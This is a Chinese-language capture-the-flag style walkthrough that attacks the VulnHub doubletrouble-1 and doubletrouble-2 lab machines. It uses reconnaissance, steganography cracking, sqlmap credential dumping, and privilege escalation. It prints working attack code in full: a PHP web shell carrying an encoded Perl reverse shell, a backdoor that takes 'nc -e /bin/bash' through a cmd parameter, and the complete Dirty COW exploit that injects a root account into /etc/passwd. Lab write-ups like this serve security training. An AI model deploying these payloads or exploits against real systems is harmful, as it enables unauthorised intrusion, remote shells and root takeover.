靶機下載地址:https://www.vulnhub.com/entry/doubletrouble-1,743/
靶機環境:橋接模式(最好搭建在virtualbox中),由于該靶機網卡的原因,如果是nat模式會掃不到,若使用nat則需修改kali網卡為與靶機一樣的網卡
kali機IP:192.168.3.76
doubletrouble-1靶機IP:192.168.3.72
doubletrouble-2靶機IP:192.168.3.77(模擬內網)
0X1 doubletrouble-1靶機滲透
一、資訊收集
1. 主機發現
nmap -sn 192.168.3.0/24

2. 掃描開放埠
nmap -sV 192.168.3.72
#-sV 探測埠服務版本,有時對中間鍵漏洞進行滲透可能會起到事半功倍的效果
開放了80埠http服務和22埠的ssh服務程式

22埠暫時還不知道該怎么利用,先訪問80埠看一下,發現是一個登陸界面,嘗試短暫時長暴力破解無果,也無法進行sql注入
注意看,這里有一個中間鍵qdPM版本是9.1,等下可能會利用

3. 目錄遍歷
dirb http://192.168.3.72

經查看,主要存在以下關鍵目錄
http://192.168.3.72/core
#發現該目錄下存在很多敏感檔案,其中有一個檔案下有郵箱用戶名和密碼,猜測可以在登陸界面登陸或者進行ssh登陸,不過在嘗試過后發現這就是一個偽造的資訊,暫時沒法利用
http://192.168.3.72/uploads
#猜測該目錄應該是登陸后上傳檔案存盤的地方
http://192.168.3.72/secret
#訪問后是一張圖片,該圖片可能隱藏有重要資訊
二、滲透測驗
1. 解密圖片資訊
將圖片下載到本地

使用steghide工具先查看一下圖片基本資訊
kali默認沒有安裝,可能需要先安裝一下
apt-get install steghide #安裝steghide工具
steghide info doubletrouble.jpg #查看圖片基本資訊
發現需要密碼才能查看圖片資訊

使用stegseek工具對圖片進行爆破
kali中沒有自帶stegseek工具,需要先安裝
安裝stegseek
https://github.com/RickdeJager/stegseek/releases #stegseek下載地址,下載stegseek_0.6-1.deb
apt install /tmp/mozilla_root0/stegseek_0.6-1.deb #安裝stegseek
解壓kali字典,使用kali自帶字典進行爆破
gunzip /usr/share/wordlists/rockyou.txt.gz #kali自帶字典,需要先解壓
mkdir dict #創建一個檔案夾用來存放rockyou.txt字典
cp /usr/share/wordlists/rockyou.txt /root/dict/ #將解壓的字典復制到dict檔案夾里
使用stegseek爆破圖片隱藏資訊
stegseek --crack doubletrouble.jpg /root/dict/rockyou.txt -xf output.txt
#--crack 使用文字串列破解檔案,這是默認模式,這里的rockyou.txt就是文字串列字典
#-xf 將破解出的資訊存放到指定的檔案里
成功破解出圖片中的資訊,原來是一個郵箱和密碼

2. 獲取用戶shell
方法一:通過上傳反彈shell木馬獲取用戶shell
使用從doubletrouble.jpg圖片中破解出的郵箱和密碼進行80埠的登陸,發現可以登陸成功

點擊這里發現這里可以上傳檔案
http://192.168.3.72/index.php/myAccount


上傳木馬
這里分享一個使用的反彈shell木馬
點擊查看shell.php木馬
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>


找到上傳的木馬路徑
http://192.168.3.72/uploads/users/

在kali中啟動nc監聽,同時在瀏覽器中點擊剛剛上傳的木馬
nc -lvnp 4455

成功反彈shell

使用python切換shell
python -c 'import pty;pty.spawn("/bin/bash")'

方法二:通過qdPM9.1中間鍵漏洞獲取用戶shell
在資訊收集中我們發現該網站是基于qdPM9.1框架進行搭建的
kali中自帶有漏洞庫,通過漏洞庫的查找可以找到與qdPM9.1有關的漏洞進行POC測驗
searchsploit -u #更新漏洞庫
searchsploit qdpm #查找有關qdpm有關的漏洞
發現有很多符合的POC腳本可以利用

searchsploit -m 47954.py
searchsploit -m 50175.py
-m 后面跟需要下載的腳本

查看一下這些腳本時怎么利用的
發現47964.py這個POC是用Python2.7來寫的,在執行的時候后面跟url、郵箱地址和密碼,分別使用引數-url、-u、-p,郵箱地址和密碼應該就是圖片中破解出來的資訊

發現50175.py是用python3寫的,且這個腳本是基于47954.py撰寫的,命令執行格式應該跟47954.py差不多

既然這樣我們直接使用50175.py來進行POC測驗,不過在測驗的時候發現總是報錯,分析腳本后發現是腳本中很多地方格式不對,需要自己整理
比如說像這種錯誤,我們直接到第59行去修改
python3 50175.py -url http://192.168.3.72/ -u [email protected] -p otis666

這里不應該分行

修改后應該是這樣的

后面還有很多這樣的小錯誤,也需要將這種在一句話還未結束的句子代碼放在一行中


可以看到這里成功生成了一個后門

瀏覽器訪問一下這個后門

點擊生成的后面,這這個頁面輸入?cmd=,其中cmd后可以執行任意命令操作,如圖所示
http://192.168.3.72//uploads/users/793584-backdoor.php?cmd=id

http://192.168.3.72//uploads/users/793584-backdoor.php?cmd=id
#當前檔案路徑問/var/www/html/uploads/users

使用nc監聽反彈shell
先在kali中啟動nc監聽
nc -lvnp 1234

在瀏覽器中輸入如下代碼,其中192.168.3.76 1234為監聽設備的IP和埠(kali)
http://192.168.3.72//uploads/users/793584-backdoor.php?cmd=nc -e /bin/bash 192.168.3.76 1234
回到shell,發現成功反彈shell,還是使用Python切換到bash這個shell中

三、提權
1. 使用sudo -l查看該用戶是否具有sudo權限
發現awk可以進行無密碼使用sudo操作

可以在該網站中查看sudo提權方式
https://gtfobins.github.io/
找到相關提權命令
sudo awk 'BEGIN {system("/bin/sh")}'
其實可以稍微修改一下,使用bash這個shell要好操作一點
sudo awk 'BEGIN {system("/bin/bash")}'

成功拿到管理員權限

進入root目錄中,發現里面還存在一個靶機

我這里將該靶機復制到網站根目錄的uploads目錄中,然后下載到本地使用virtualbox進行搭建(還是使用橋接模式)
cp doubletrouble.ova /var/www/html/uploads

0X2 doubletrouble-2靶機滲透
一、資訊收集
1. 發現主機
主機IP地址為192.168.3.77

2. 掃描埠
還是只開放了兩個埠80埠的http服務和22埠的ssh服務

二、滲透測驗
80埠是一個登陸界面,簡單嘗試下弱口令和萬能密碼都無果

使用sqlmap進行掃描,發現存在時間盲注
sqlmap -u "http://192.168.3.77/index.php" --forms --batch

1. sql注入
1.1 爆當前資料庫
sqlmap -u "http://192.168.3.77/index.php" --forms --batch --current-db
當前資料庫為doubletrouble

1.2 爆表
sqlmap -u "http://192.168.3.77/index.php" --forms --batch -D doubletrouble --tables

1.3 爆列
sqlmap -u "http://192.168.3.77/index.php" --forms --batch -D doubletrouble -T users --columns

1.4 爆欄位
sqlmap -u "http://192.168.3.77/index.php" --forms --batch -D doubletrouble -T users -C username,password --dump
成功爆出用戶名和密碼

2. 獲取用戶shell
使用從資料庫中獲得的這兩個用戶名和密碼進行80埠登陸和22埠ssh登陸嘗試
80埠:兩個用戶都無法登陸
22埠:montreux用戶不能進行ssh遠程登錄,但clapton用戶可以
登陸clapton用戶,成功獲取到clapton用戶的shell

三、提權
1. 使用sudo -l查看權限
發現該用戶不具有sudo權限

2. 查看系統內核
uname -a
發現系統的內核版本是linux3.2,該系統版本具有一個很明顯的漏洞--臟牛漏洞

3. 在kali漏洞庫里查找符合條件的POC
發現40616.c是有關臟牛漏洞的POC,將它下載下來
searchsploit linux 3.2
searchsploit -m 40616.c

查看一下如何使用
先使用gcc連接,然后直接使用,后面不用跟其他命令

4. 使用nc傳輸,將40616.c傳輸到clapton系統中
4.1 在clapton的shell中啟動nc接收
nc -lvnp 10086 > 40616.c

4.2 在kali中使用nc上傳40616.c
nc 192.168.3.77 10086 < 40616.c -w 1

傳輸完成

4.3 這里順便找到了一個flag(user.txt)

感覺像被加密了,拿去解密一下,果然是這樣

還是繼續提權
4.4 gcc連接,生成可執行程式
發現40616.c還沒有執行權限,先給它賦予執行權限,然后再使用gcc生成可執行程式

4.5 執行可執行程式40616
成功拿到管理員權限

最后在root目錄中,拿到最后一個flag

其實,臟牛漏洞提權的POC還有很多,很多人會使用這個dirty.c來創建管理員賬戶進行管理員登錄,從而獲得管理員shell
5. 使用dirty.c提權(與前面3、4步一樣)
dirty.c原始碼地址:https://github.com/FireFart/dirtycow
點擊查看dirty.c代碼
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
在本地創建一個dirty.c檔案,將代碼復制進去

與第四步一樣,使用nc傳輸,將dirty.c檔案傳到clapton用戶中,同時賦予可執行權限

gcc連接,然后執行POC,需要注意的是,這里在執行POC后面可以接密碼,即重新創建一個用戶firefart,該用戶具有管理員權限
此外,gcc連接需要使用如下命令
gcc -pthread dirty.c -o dirty -lcrypt
root為firefart用戶密碼

使用ssh登陸firefart用戶,再次成功拿到管理員權限

結束,,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/499893.html
標籤:訊息安全
